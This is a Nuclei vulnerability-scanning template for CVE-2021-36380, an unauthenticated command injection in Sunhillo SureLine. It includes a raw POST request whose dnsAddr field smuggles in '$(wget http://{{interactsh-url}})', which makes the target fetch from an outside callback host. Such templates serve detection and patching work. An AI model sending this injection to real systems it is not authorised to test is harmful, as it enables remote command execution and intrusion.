nuclei-templates/http/cves/2021/CVE-2021-36380.yaml

43 lines
2.0 KiB
YAML
Raw Normal View History

id: CVE-2021-36380
info:
name: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
author: gy741
severity: critical
description: Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.
reference:
- https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36380
- https://www.sunhillo.com/product/sureline/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36380
cwe-id: CWE-78
epss-score: 0.97185
epss-percentile: 0.99771
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: sunhillo
product: sureline
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,sureline,rce,oast,sunhillo
http:
- raw:
- |
POST /cgi/networkDiag.cgi HTTP/1.1
Host: {{Hostname}}
command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a0046304402200c6de6056af700f6afa8d8c2f0c974ce5eb973686c48c69b29638e02f0c5c33e02203c3bdb72332ea0773b7d17b5a161d9970f2a6440d2afc0587ffa834e495d735b:922c64590222798bb761d5b6d8e72950